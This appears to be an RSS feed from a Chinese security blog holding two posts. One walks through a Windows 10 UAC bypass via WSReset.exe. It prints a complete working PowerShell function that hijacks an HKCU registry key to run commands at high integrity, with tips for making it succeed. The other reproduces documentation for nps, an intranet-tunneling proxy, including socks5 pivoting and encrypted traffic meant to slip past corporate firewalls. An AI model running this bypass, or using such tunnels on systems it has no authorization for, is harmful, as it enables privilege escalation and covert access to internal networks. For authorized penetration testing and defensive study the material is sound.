<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>内网 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E5%86%85%E7%BD%91/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sat, 09 May 2020 08:00:14 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Win10利用应用商店WSReset.exe进行bypassuac</title>
		<link>/tools/1714.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 09 May 2020 07:11:32 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[uac]]></category>
		<category><![CDATA[win10]]></category>
		<category><![CDATA[内网]]></category>
		<category><![CDATA[渗透]]></category>
		<guid isPermaLink="false">/?p=1714</guid>

					<description><![CDATA[遇到了win10的环境就找了下bypassuac的。 环境 win10 1909 18363.535 Pro 复现 利用微软提供的sigcheck.exe签名检查工具发现 C:\W...]]></description>
										<content:encoded><![CDATA[<p>遇到了<span class="wpcom_tag_link"><a href="/tags/win10" title="win10" target="_blank">win10</a></span>的环境就找了下<span class="wpcom_tag_link"><a href="/tags/bypass" title="bypass" target="_blank">bypass</a></span><span class="wpcom_tag_link"><a href="/tags/uac" title="uac" target="_blank">uac</a></span>的。</p>
<h2>环境</h2>
<p>win10 1909 18363.535 Pro</p>
<h2>复现</h2>
<p>利用微软提供的<a class="wp-editor-md-post-content-link" href="https://docs.microsoft.com/en-us/sysinternals/downloads/sigcheck">sigcheck.exe</a>签名检查工具发现 <code>C:\Windows\System32\WSReset.exe</code> 存在<code>autoElevate</code>属性为<code>true</code></p>
<p><img src="https://y4er.com/img/uploads/20200509104541.png" alt="image.png" /></p>
<p>使用Procmon64.exe添加过滤条件</p>
<p><img src="https://y4er.com/img/uploads/20200509108734.png" alt="image.png" /></p>
<p>没找到 <code>HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command</code></p>
<p>根据<a class="wp-editor-md-post-content-link" href="https://docs.microsoft.com/en-us/windows/win32/sysinfo/hkey-classes-root-key">微软文档</a>可知用户特定的设置优先于默认设置，而当前用户可以写入这个值，那么可以使用powershell来实现poc。</p>
<pre><code class="language-powershell line-numbers">&lt;#
.SYNOPSIS
Fileless UAC Bypass by Abusing Shell API

Author: Hashim Jawad of ACTIVELabs

.PARAMETER Command
Specifies the command you would like to run in high integrity context.

.EXAMPLE
Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"

This will effectivly start cmd.exe in high integrity context.

.NOTES
This UAC bypass has been tested on the following:
 - Windows 10 Version 1803 OS Build 17134.590
 - Windows 10 Version 1809 OS Build 17763.316
#&gt;

function Invoke-WSResetBypass {
      Param (
      [String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
      )

      $CommandPath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      $filePath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      New-Item $CommandPath -Force | Out-Null
      New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
      Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
      Write-Host "[+] Registry entry has been created successfully!"

      $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
      Write-Host "[+] Starting WSReset.exe"

      Write-Host "[+] Triggering payload.."
      Start-Sleep -Seconds 5

      if (Test-Path $filePath) {
      Remove-Item $filePath -Recurse -Force
      Write-Host "[+] Cleaning up registry entry"
      }
}
</code></pre>
<p>在我自己测试的过程中因为WSReset.exe启动过慢的情况出现了多次复现不成功，建议把powershell脚本去掉后面的清空注册表，避免WSReset运行时找不到注册表，不过记得手动清除。</p>
<p><img src="https://y4er.com/img/uploads/20200509105277.png" alt="image.png" /></p>
<h2>参考</h2>
<ol>
<li>https://www.activecyber.us/activelabs/windows-uac-bypass</li>
<li>https://github.com/sailay1996/UAC_Bypass_In_The_Wild</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>nps：一款go写的轻量高效的内网穿透工具</title>
		<link>/tools/679.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 28 Jul 2019 09:39:56 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[nps]]></category>
		<category><![CDATA[代理]]></category>
		<category><![CDATA[内网]]></category>
		<guid isPermaLink="false">/?p=679</guid>

					<description><![CDATA[nps nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发，可支持任何tcp、udp上层协议（访问内网网站、本地支付接口调试、ssh访问、远程...]]></description>
										<content:encoded><![CDATA[<h1><span class="wpcom_tag_link"><a href="/tags/nps" title="nps" target="_blank">nps</a></span></h1>
<p>nps是一款轻量级、高性能、功能强大的<strong><span class="wpcom_tag_link"><a href="/tags/%e5%86%85%e7%bd%91" title="内网" target="_blank">内网</a></span>穿透</strong><span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%90%86" title="代理" target="_blank">代理</a></span>服务器。目前支持<strong>tcp、udp流量转发</strong>，可支持任何<strong>tcp、udp</strong>上层协议（访问内网网站、本地支付接口调试、ssh访问、远程桌面，内网dns解析等等……），此外还<strong>支持内网http代理、内网socks5代理</strong>、<strong>p2p等</strong>，并带有功能强大的web管理端。</p>
<h2>背景</h2>
<p><img src="https://github.com/cnlh/nps/blob/master/image/web.png?raw=true" alt="image" /></p>
<ol>
<li>做微信公众号开发、小程序开发等&#8212;-> 域名代理模式</p>
</li>
<li>
<p>想在外网通过ssh连接内网的机器，做云服务器到内网服务器端口的映射，&#8212;-> tcp代理模式</p>
</li>
<li>
<p>在非内网环境下使用内网dns，或者需要通过udp访问内网机器等&#8212;-> udp代理模式</p>
</li>
<li>
<p>在外网使用HTTP代理访问内网站点&#8212;-> http代理模式</p>
</li>
<li>
<p>搭建一个内网穿透ss，在外网如同使用内网vpn一样访问内网资源或者设备&#8212;-> socks5代理模式</p>
</li>
</ol>
<h2>安装</h2>
<h3>releases安装</h3>
<blockquote>
<p><a href="https://github.com/cnlh/nps/releases">releases</a>
</p></blockquote>
<p>下载对应的系统版本即可，服务端和客户端是单独的</p>
<h3>源码安装</h3>
<ul>
<li>安装源码<br />
> go get -u github.com/cnlh/nps&#8230;</li>
<li>编译<br />
> go build cmd/nps/nps.go</li>
</ul>
<blockquote><p>
  go build cmd/npc/npc.go
</p></blockquote>
<h2>使用示例</h2>
<h3>统一准备工作（必做）</h3>
<ul>
<li>开启服务端，假设公网服务器ip为1.1.1.1，配置文件中<code>bridge_port</code>为8284，配置文件中<code>web_port</code>为8080</li>
<li>访问1.1.1.1:8080</li>
<li>在客户端管理中创建一个客户端，记录下验证密钥</li>
<li>内网客户端运行（windows使用cmd运行加.exe）</li>
</ul>
<pre><code class="language-shell ">./npc -server=1.1.1.1:8284 -vkey=客户端的密钥
</code></pre>
<h3>域名解析</h3>
<p><strong>适用范围：</strong> 小程序开发、微信公众号开发、产品演示</p>
<p><strong>假设场景：</strong><br />
&#8211; 有一个域名proxy.com，有一台公网机器ip为1.1.1.1<br />
&#8211; 两个内网开发站点127.0.0.1:81，127.0.0.1:82<br />
&#8211; 想通过（http|https://）a.proxy.com访问127.0.0.1:81，通过（http|https://）b.proxy.com访问127.0.0.1:82</p>
<p><strong>使用步骤</strong><br />
&#8211; 将*.proxy.com解析到公网服务器1.1.1.1<br />
&#8211; 点击刚才创建的客户端的域名管理，添加两条规则规则：1、域名：<code>a.proxy.com</code>，内网目标：<code>127.0.0.1:81</code>，2、域名：<code>b.proxy.com</code>，内网目标：<code>127.0.0.1:82</code></p>
<p>现在访问（http|https://）/<code>a.proxy.com</code>，<code>b.proxy.com</code>即可成功</p>
<p><strong>https:</strong> 如需使用https请进行相关配置，详见 <a href="#使用https">使用https</a></p>
<h3>tcp隧道</h3>
<p><strong>适用范围：</strong>  ssh、远程桌面等tcp连接场景</p>
<p><strong>假设场景：</strong><br />
 想通过访问公网服务器1.1.1.1的8001端口，连接内网机器10.1.50.101的22端口，实现ssh连接</p>
<p><strong>使用步骤</strong><br />
&#8211; 在刚才创建的客户端隧道管理中添加一条tcp隧道，填写监听的端口（8001）、内网目标ip和目标端口（10.1.50.101:22），保存。<br />
&#8211; 访问公网服务器ip（1.1.1.1）,填写的监听端口(8001)，相当于访问内网ip(10.1.50.101):目标端口(22)，例如：<code>ssh -p 8001 root@1.1.1.1</code></p>
<h3>udp隧道</h3>
<p><strong>适用范围：</strong>  内网dns解析等udp连接场景</p>
<p><strong>假设场景：</strong><br />
内网有一台dns（10.1.50.102:53），在非内网环境下想使用该dns，公网服务器为1.1.1.1</p>
<p><strong>使用步骤</strong><br />
&#8211; 在刚才创建的客户端的隧道管理中添加一条udp隧道，填写监听的端口（53）、内网目标ip和目标端口（10.1.50.102:53），保存。<br />
&#8211; 修改需要使用的内网dns为127.0.0.1，则相当于使用10.1.50.202作为dns服务器</p>
<h3>socks5代理</h3>
<p><strong>适用范围：</strong>  在外网环境下如同使用vpn一样访问内网设备或者资源</p>
<p><strong>假设场景：</strong><br />
想将公网服务器1.1.1.1的8003端口作为socks5代理，达到访问内网任意设备或者资源的效果</p>
<p><strong>使用步骤</strong><br />
&#8211; 在刚才创建的客户端隧道管理中添加一条socks5代理，填写监听的端口（8003），保存。<br />
&#8211; 在外网环境的本机配置socks5代理(例如使用proxifier进行全局代理)，ip为公网服务器ip（1.1.1.1），端口为填写的监听端口(8003)，即可畅享内网了</p>
<h3>http正向代理</h3>
<p><strong>适用范围：</strong>  在外网环境下使用http正向代理访问内网站点</p>
<p><strong>假设场景：</strong><br />
想将公网服务器1.1.1.1的8004端口作为http代理，访问内网网站</p>
<p><strong>使用步骤</strong></p>
<ul>
<li>在刚才创建的客户端隧道管理中添加一条http代理，填写监听的端口（8004），保存。</li>
<li>在外网环境的本机配置http代理，ip为公网服务器ip（1.1.1.1），端口为填写的监听端口(8004)，即可访问了</li>
</ul>
<h3>私密代理</h3>
<p><strong>适用范围：</strong>  无需占用多余的端口、安全性要求较高可以防止其他人连接的tcp服务，例如ssh。</p>
<p><strong>假设场景：</strong><br />
无需新增多的端口实现访问内网服务器10.1.50.2的22端口</p>
<p><strong>使用步骤</strong><br />
&#8211; 在刚才创建的客户端中添加一条私密代理，并设置唯一密钥secrettest和内网目标10.1.50.2:22<br />
&#8211; 在需要连接ssh的机器上以执行命令</p>
<pre><code class="">./npc -server=1.1.1.1:8284 -vkey=vkey -type=tcp -password=secrettest -local_type=secret
</code></pre>
<p>如需指定本地端口可加参数<code>-local_port=xx</code>，默认为2000</p>
<p><strong>注意：</strong> password为web管理上添加的唯一密钥，具体命令可查看web管理上的命令提示</p>
<p>假设10.1.50.2用户名为root，现在执行<code>ssh -p 2000 root@1.1.1.1</code>即可访问ssh</p>
<h3>p2p服务</h3>
<p><strong>适用范围：</strong>  大流量传输场景，流量不经过公网服务器，但是由于p2p穿透和nat类型关系较大，不保证100%成功，支持大部分nat类型。<a href="#nat类型检测">nat类型检测</a></p>
<p><strong>假设场景：</strong><br />
内网1机器ip为10.1.50.2    内网2机器2 ip为10.2.50.2</p>
<p>想通过访问内网1机器1的2000端口&#8212;->访问到内网2机器3 10.2.50.3的22端口</p>
<p><strong>使用步骤</strong><br />
&#8211; 在<code>nps.conf</code>中设置<code>p2p_ip</code>（nps服务器ip）和<code>p2p_port</code>（nps服务器udp端口）<br />
&#8211; 在刚才刚才创建的客户端中添加一条p2p代理，并设置唯一密钥p2pssh<br />
&#8211; 在机器1执行命令</p>
<pre><code class="">./npc -server=1.1.1.1:8284 -vkey=123 -password=p2pssh -target=10.2.50.3:22
</code></pre>
<p>如需指定本地端口可加参数<code>-local_port=xx</code>，默认为2000</p>
<p><strong>注意：</strong> password为web管理上添加的唯一密钥，具体命令可查看web管理上的命令提示</p>
<p>假设机器3用户名为root，现在在机器1上执行<code>ssh -p 2000 root@127.0.0.1</code>即可访问机器2的ssh</p>
<h2>web管理</h2>
<p><img src="https://github.com/cnlh/nps/blob/master/image/web2.png?raw=true" alt="image" /></p>
<h3>介绍</h3>
<p>可在网页上配置和管理各个tcp、udp隧道、内网站点代理，http、https解析等，功能强大，操作方便。</p>
<p><strong>提示：使用web模式时，服务端执行文件必须在项目根目录，否则无法正确加载配置文件</strong></p>
<h3>启动</h3>
<h4>服务端测试</h4>
<pre><code class="language-shell "> ./nps test
</code></pre>
<p>如有错误请及时修改配置文件，无错误可继续进行下去</p>
<h4>服务端启动</h4>
<pre><code class="language-shell "> ./nps start
</code></pre>
<p><strong>如果无需daemon运行或者打开后无法正常访问web管理，去掉start查看日志运行即可</strong></p>
<h4>web管理</h4>
<p>进入web界面，公网ip:web界面端口（默认8080），密码默认为123</p>
<p>进入web管理界面，有详细的说明</p>
<h4>服务端配置文件重载</h4>
<p>如果是daemon启动</p>
<pre><code class="language-shell "> ./nps reload
</code></pre>
<p><strong>说明：</strong> 仅支持部分配置重载，例如<code>allow_user_login</code> <code>auth_crypt_key</code> <code>auth_key</code> <code>web_username</code> <code>web_password</code> 等，未来将支持更多</p>
<h4>服务端停止或重启</h4>
<p>如果是daemon启动</p>
<pre><code class="language-shell "> ./nps stop|restart
</code></pre>
<h3>服务端配置文件</h3>
<ul>
<li>/conf/nps.conf</li>
</ul>
<table>
<thead>
<tr>
<th>名称</th>
<th>含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>web_port</td>
<td>web管理端口</td>
</tr>
<tr>
<td>web_password</td>
<td>web界面管理密码</td>
</tr>
<tr>
<td>web_username</td>
<td>web界面管理账号</td>
</tr>
<tr>
<td>bridge_port</td>
<td>服务端客户端通信端口</td>
</tr>
<tr>
<td>https_proxy_port</td>
<td>域名代理https代理监听端口</td>
</tr>
<tr>
<td>http_proxy_port</td>
<td>域名代理http代理监听端口</td>
</tr>
<tr>
<td>auth_key</td>
<td>web api密钥</td>
</tr>
<tr>
<td>bridge_type</td>
<td>客户端与服务端连接方式kcp或tcp</td>
</tr>
<tr>
<td>public_vkey</td>
<td>客户端以配置文件模式启动时的密钥，设置为空表示关闭客户端配置文件连接模式</td>
</tr>
<tr>
<td>ip_limit</td>
<td>是否限制ip访问，true或false或忽略</td>
</tr>
<tr>
<td>flow_store_interval</td>
<td>服务端流量数据持久化间隔，单位分钟，忽略表示不持久化</td>
</tr>
<tr>
<td>log_level</td>
<td>日志输出级别</td>
</tr>
<tr>
<td>auth_crypt_key</td>
<td>获取服务端authKey时的aes加密密钥，16位</td>
</tr>
<tr>
<td>p2p_ip</td>
<td>服务端Ip，使用p2p模式必填</td>
</tr>
<tr>
<td>p2p_port</td>
<td>p2p模式开启的udp端口</td>
</tr>
</tbody>
</table>
<h3>使用https</h3>
<p><strong>方式一：</strong> 类似于nginx实现https的处理</p>
<p>在配置文件中将https_proxy_port设置为443或者其他你想配置的端口，和在web中对应域名编辑中设置对应的证书路径，将<code>https_just_proxy</code>设置为false，然后就和http代理一样了</p>
<p><strong>此外：</strong> 可以在<code>nps.conf</code>中设置一个默认的https配置，当遇到未在web中设置https证书的域名解析时，将自动使用默认证书，另还有一种情况就是对于某些请求的clienthello不携带sni扩展信息，nps也将自动使用默认证书</p>
<p><strong>方式二：</strong> 在内网对应服务器上设置https</p>
<p>在<code>nps.conf</code>中将<code>https_just_proxy</code>设置为true，并且打开<code>https_proxy_port</code>端口，然后nps将直接转发https请求到内网服务器上，由内网服务器进行https处理</p>
<h3>与nginx配合</h3>
<p>有时候我们还需要在云服务器上运行nginx来保证静态文件缓存等，本代理可和nginx配合使用，在配置文件中将httpProxyPort设置为非80端口，并在nginx中配置代理，例如httpProxyPort为8024时</p>
<pre><code class="">server {
    listen 80;
    server_name *.proxy.com;
    location / {
        proxy_set_header Host  $http_host;
        proxy_pass http://127.0.0.1:8024;/
    }
}
</code></pre>
<p>如需使用https也可在nginx监听443端口并配置ssl，并将本代理的httpsProxyPort设置为空关闭https即可，例如httpProxyPort为8024时</p>
<pre><code class="">server {
    listen 443;
    server_name *.proxy.com;
    ssl on;
    ssl_certificate  certificate.crt;
    ssl_certificate_key private.key;
    ssl_session_timeout 5m;
    ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_prefer_server_ciphers on;
    location / {
        proxy_set_header Host  $http_host;
        proxy_pass http://127.0.0.1:8024;/
    }
}
</code></pre>
<h3>关闭代理</h3>
<p>如需关闭http代理可在配置文件中将http_proxy_port设置为空，如需关闭https代理可在配置文件中将https_proxy_port设置为空。</p>
<h3>将nps安装到系统</h3>
<p>如果需要长期并且方便的运行nps服务端，可将nps安装到操作系统中，可执行命令</p>
<pre><code class="">(./nps|nps.exe) install
</code></pre>
<p>安装成功后，对于linux，darwin，将会把配置文件和静态文件放置于/etc/nps/，并将可执行文件nps复制到/usr/bin/nps或者/usr/local/bin/nps，安装成功后可在任何位置执行</p>
<pre><code class="">nps test|start|stop|restart|status
</code></pre>
<p>对于windows系统，将会把配置文件和静态文件放置于C:\Program Files\nps，安装成功后可将可执行文件nps.exe复制到任何位置执行</p>
<pre><code class="">nps.exe test|start|stop|restart|status
</code></pre>
<h3>流量数据持久化</h3>
<p>服务端支持将流量数据持久化，默认情况下是关闭的，如果有需求可以设置<code>nps.conf</code>中的<code>flow_store_interval</code>参数，单位为分钟</p>
<p><strong>注意：</strong> nps不会持久化通过公钥连接的客户端</p>
<h3>系统信息显示</h3>
<p>nps服务端支持在web上显示和统计服务器的相关信息，但默认一些统计图表是关闭的，如需开启请在<code>nps.conf</code>中设置<code>system_info_display=true</code></p>
<h3>自定义客户端连接密钥</h3>
<p>web上可以自定义客户端连接的密钥，但是必须具有唯一性</p>
<h3>关闭公钥访问</h3>
<p>可以将<code>nps.conf</code>中的<code>public_vkey</code>设置为空或者删除</p>
<h3>关闭web管理</h3>
<p>可以将<code>nps.conf</code>中的<code>web_port</code>设置为空或者删除</p>
<h3>服务端多用户登陆</h3>
<p>如果将<code>nps.conf</code>中的<code>allow_user_login</code>设置为true,服务端web将支持多用户登陆，登陆用户名为user，默认密码为每个客户端的验证密钥，登陆后可以进入客户端编辑修改web登陆的用户名和密码，默认该功能是关闭的。</p>
<h3>用户注册功能</h3>
<p>nps服务端支持用户注册功能，可将<code>nps.conf</code>中的<code>allow_user_register</code>设置为true，开启后登陆页将会有有注册功能，</p>
<h3>监听指定ip</h3>
<p>nps支持每个隧道监听不同的服务端端口,在<code>nps.conf</code>中设置<code>allow_multi_ip=true</code>后，可在web中控制，或者npc配置文件中(可忽略，默认为0.0.0.0)</p>
<pre><code class="language-ini ">server_ip=xxx
</code></pre>
<h3>代理到服务端本地</h3>
<p>在使用nps监听80或者443端口时，默认是将所有的请求都会转发到内网上，但有时候我们的nps服务器的上一些服务也需要使用这两个端口，nps提供类似于<code>nginx</code> <code>proxy_pass</code> 的功能，支持将代理到服务器本地，该功能支持域名解析，tcp、udp隧道，默认关闭。</p>
<p><strong>即：</strong> 假设在nps的vps服务器上有一个服务使用5000端口，这时候nps占用了80端口和443，我们想能使用一个域名通过http(s)访问到5000的服务。</p>
<p><strong>使用方式：</strong> 在<code>nps.conf</code>中设置<code>allow_local_proxy=true</code>，然后在web上设置想转发的隧道或者域名然后选择转发到本地选项即可成功。</p>
<h2>客户端</h2>
<h3>客户端启动</h3>
<h4>无配置文件模式</h4>
<p>此模式的各种配置在服务端web管理中完成,客户端除运行一条命令外无需任何其他设置</p>
<pre><code class=""> ./npc -server=ip:port -vkey=web界面中显示的密钥
</code></pre>
<h4>配置文件模式</h4>
<p>此模式使用nps的公钥或者客户端私钥验证，各种配置在客户端完成，同时服务端web也可以进行管理</p>
<pre><code class=""> ./npc -config=npc配置文件路径
</code></pre>
<h4>配置文件说明</h4>
<p><a href="https://github.com/cnlh/nps/tree/master/conf/npc.conf">示例配置文件</a></p>
<h5>全局配置</h5>
<pre><code class="language-ini ">[common]
server_addr=1.1.1.1:8284
conn_type=tcp
vkey=123
username=111
password=222
compress=true
crypt=true
rate_limit=10000
flow_limit=100
remark=test
max_conn=10
</code></pre>
<table>
<thead>
<tr>
<th>项</th>
<th>含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>server_addr</td>
<td>服务端ip:port</td>
</tr>
<tr>
<td>conn_type</td>
<td>与服务端通信模式(tcp或kcp)</td>
</tr>
<tr>
<td>vkey</td>
<td>服务端配置文件中的密钥(非web)</td>
</tr>
<tr>
<td>username</td>
<td>socks5或http(s)密码保护用户名(可忽略)</td>
</tr>
<tr>
<td>password</td>
<td>socks5或http(s)密码保护密码(可忽略)</td>
</tr>
<tr>
<td>compress</td>
<td>是否压缩传输(true或false或忽略)</td>
</tr>
<tr>
<td>crypt</td>
<td>是否加密传输(true或false或忽略)</td>
</tr>
<tr>
<td>rate_limit</td>
<td>速度限制，可忽略</td>
</tr>
<tr>
<td>flow_limit</td>
<td>流量限制，可忽略</td>
</tr>
<tr>
<td>remark</td>
<td>客户端备注，可忽略</td>
</tr>
<tr>
<td>max_conn</td>
<td>最大连接数，可忽略</td>
</tr>
</tbody>
</table>
<h5>域名代理</h5>
<pre><code class="language-ini ">[common]
server_addr=1.1.1.1:8284
vkey=123
[web1]
host=a.proxy.com
target_addr=127.0.0.1:8080,127.0.0.1:8082
host_change=www.proxy.com
header_set_proxy=nps
</code></pre>
<table>
<thead>
<tr>
<th>项</th>
<th>含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>web1</td>
<td>备注</td>
</tr>
<tr>
<td>host</td>
<td>域名(http|https都可解析)</td>
</tr>
<tr>
<td>target_addr</td>
<td>内网目标，负载均衡时多个目标，逗号隔开</td>
</tr>
<tr>
<td>host_change</td>
<td>请求host修改</td>
</tr>
<tr>
<td>header_xxx</td>
<td>请求header修改或添加，header_proxy表示添加header proxy:nps</td>
</tr>
</tbody>
</table>
<h5>tcp隧道模式</h5>
<pre><code class="language-ini ">[common]
server_addr=1.1.1.1:8284
vkey=123
[tcp]
mode=tcp
target_addr=127.0.0.1:8080
server_port=9001
</code></pre>
<table>
<thead>
<tr>
<th>项</th>
<th>含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>mode</td>
<td>tcp</td>
</tr>
<tr>
<td>server_port</td>
<td>在服务端的代理端口</td>
</tr>
<tr>
<td>tartget_addr</td>
<td>内网目标</td>
</tr>
</tbody>
</table>
<h5>udp隧道模式</h5>
<pre><code class="language-ini ">[common]
server_addr=1.1.1.1:8284
vkey=123
[udp]
mode=udp
target_addr=127.0.0.1:8080
server_port=9002
</code></pre>
<table>
<thead>
<tr>
<th>项</th>
<th>含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>mode</td>
<td>udp</td>
</tr>
<tr>
<td>server_port</td>
<td>在服务端的代理端口</td>
</tr>
<tr>
<td>target_addr</td>
<td>内网目标</td>
</tr>
</tbody>
</table>
<h5>http代理模式</h5>
<pre><code class="language-ini ">[common]
server_addr=1.1.1.1:8284
vkey=123
[http]
mode=httpProxy
server_port=9003
</code></pre>
<table>
<thead>
<tr>
<th>项</th>
<th>含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>mode</td>
<td>httpProxy</td>
</tr>
<tr>
<td>server_port</td>
<td>在服务端的代理端口</td>
</tr>
</tbody>
</table>
<h5>socks5代理模式</h5>
<pre><code class="language-ini ">[common]
server_addr=1.1.1.1:8284
vkey=123
[socks5]
mode=socks5
server_port=9004
</code></pre>
<table>
<thead>
<tr>
<th>项</th>
<th>含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>mode</td>
<td>socks5</td>
</tr>
<tr>
<td>server_port</td>
<td>在服务端的代理端口</td>
</tr>
</tbody>
</table>
<h5>私密代理模式</h5>
<pre><code class="language-ini ">[common]
server_addr=1.1.1.1:8284
vkey=123
[secret_ssh]
mode=secret
password=ssh2
target_addr=10.1.50.2:22
</code></pre>
<table>
<thead>
<tr>
<th>项</th>
<th>含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>mode</td>
<td>secret</td>
</tr>
<tr>
<td>password</td>
<td>唯一密钥</td>
</tr>
<tr>
<td>target_addr</td>
<td>内网目标</td>
</tr>
</tbody>
</table>
<h5>p2p代理模式</h5>
<pre><code class="language-ini ">[common]
server_addr=1.1.1.1:8284
vkey=123
[p2p_ssh]
mode=p2p
password=ssh2
target_addr=10.1.50.2:22
</code></pre>
<table>
<thead>
<tr>
<th>项</th>
<th>含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>mode</td>
<td>p2p</td>
</tr>
<tr>
<td>password</td>
<td>唯一密钥</td>
</tr>
<tr>
<td>target_addr</td>
<td>内网目标</td>
</tr>
</tbody>
</table>
<h5>文件访问模式</h5>
<p>利用nps提供一个公网可访问的本地文件服务，此模式仅客户端使用配置文件模式方可启动</p>
<pre><code class="language-ini ">[common]
server_addr=1.1.1.1:8284
vkey=123
[file]
mode=file
server_port=9100
local_path=/tmp/
strip_pre=/web/
````

项 | 含义
---|---
mode | file
server_port | 服务端开启的端口
local_path|本地文件目录
strip_pre|前缀

对于`strip_pre`，访问公网`ip:9100/web/`相当于访问`/tmp/`目录

#### 断线重连
```ini
[common]
auto_reconnection=true
</code></pre>
<h4>nat类型检测</h4>
<pre><code class=""> ./npc nat
</code></pre>
<p>如果p2p双方都是Symmetic Nat，肯定不能成功，其他组合都有较大成功率。</p>
<h4>状态检查</h4>
<pre><code class=""> ./npc status -config=npc配置文件路径
</code></pre>
<h4>重载配置文件</h4>
<pre><code class=""> ./npc restart -config=npc配置文件路径
</code></pre>
<h4>通过代理连接nps</h4>
<p>有时候运行npc的内网机器无法直接访问外网，此时可以可以通过socks5代理连接nps</p>
<p>对于配置文件方式启动,设置</p>
<pre><code class="language-ini ">[common]
proxy_url=socks5://111:222@127.0.0.1:8024
</code></pre>
<p>对于无配置文件模式,加上参数</p>
<pre><code class="">-proxy=socks5://111:222@127.0.0.1:8024
</code></pre>
<p>支持socks5和http两种模式</p>
<p>即socks5://username:password@ip:port</p>
<p>或</p>
<h4>群晖支持</h4>
<p>可在releases中下载spk群晖套件，例如<code>npc_x64-6.1_0.19.0-1.spk</code></p>
<h2>相关功能</h2>
<h3>缓存支持</h3>
<p>对于web站点来说，一些静态文件往往消耗更大的流量，且在内网穿透中，静态文件还需到客户端获取一次，这将导致更大的流量消耗。nps在域名解析代理中支持对静态文件进行缓存。</p>
<p>即假设一个站点有a.css，nps将只需从npc客户端读取一次该文件，然后把该文件的内容放在内存中，下一次将不再对npc客户端进行请求而直接返回内存中的对应内容。该功能默认是关闭的，如需开启请在<code>nps.conf</code>中设置<code>http_cache=true</code>，并设置<code>http_cache_length</code>（缓存文件的个数，消耗内存，不宜过大，0表示不限制个数）</p>
<h3>数据压缩支持</h3>
<p>由于是内网穿透，内网客户端与服务端之间的隧道存在大量的数据交换，为节省流量，加快传输速度，由此本程序支持SNNAPY形式的压缩。</p>
<ul>
<li>所有模式均支持数据压缩</li>
<li>在web管理或客户端配置文件中设置</li>
</ul>
<h3>加密传输</h3>
<p>如果公司内网防火墙对外网访问进行了流量识别与屏蔽，例如禁止了ssh协议等，通过设置 配置文件，将服务端与客户端之间的通信内容加密传输，将会有效防止流量被拦截。<br />
&#8211; nps使用tls加密，所以一定要保留conf目录下的密钥文件，同时也可以自行生成<br />
&#8211; 在web管理或客户端配置文件中设置</p>
<h3>站点保护</h3>
<p>域名代理模式所有客户端共用一个http服务端口，在知道域名后任何人都可访问，一些开发或者测试环境需要保密，所以可以设置用户名和密码，nps将通过 Http Basic Auth 来保护，访问时需要输入正确的用户名和密码。</p>
<ul>
<li>在web管理或客户端配置文件中设置</li>
</ul>
<h3>host修改</h3>
<p>由于内网站点需要的host可能与公网域名不一致，域名代理支持host修改功能，即修改request的header中的host字段。</p>
<p><strong>使用方法：在web管理中设置</strong></p>
<h3>自定义header</h3>
<p>支持对header进行新增或者修改，以配合服务的需要</p>
<h3>404页面配置</h3>
<p>支持域名解析模式的自定义404页面，修改/web/static/page/error.html中内容即可，暂不支持静态文件等内容</p>
<h3>流量限制</h3>
<p>支持客户端级流量限制，当该客户端入口流量与出口流量达到设定的总量后会拒绝服务<br />
，域名代理会返回404页面，其他代理会拒绝连接,使用该功能需要在<code>nps.conf</code>中设置<code>allow_flow_limit</code>，默认是关闭的。</p>
<h3>带宽限制</h3>
<p>支持客户端级带宽限制，带宽计算方式为入口和出口总和，权重均衡,使用该功能需要在<code>nps.conf</code>中设置<code>allow_rate_limit</code>，默认是关闭的。</p>
<h3>负载均衡</h3>
<p>本代理支持域名解析模式和tcp代理的负载均衡，在web域名添加或者编辑中内网目标分行填写多个目标即可实现轮训级别的负载均衡</p>
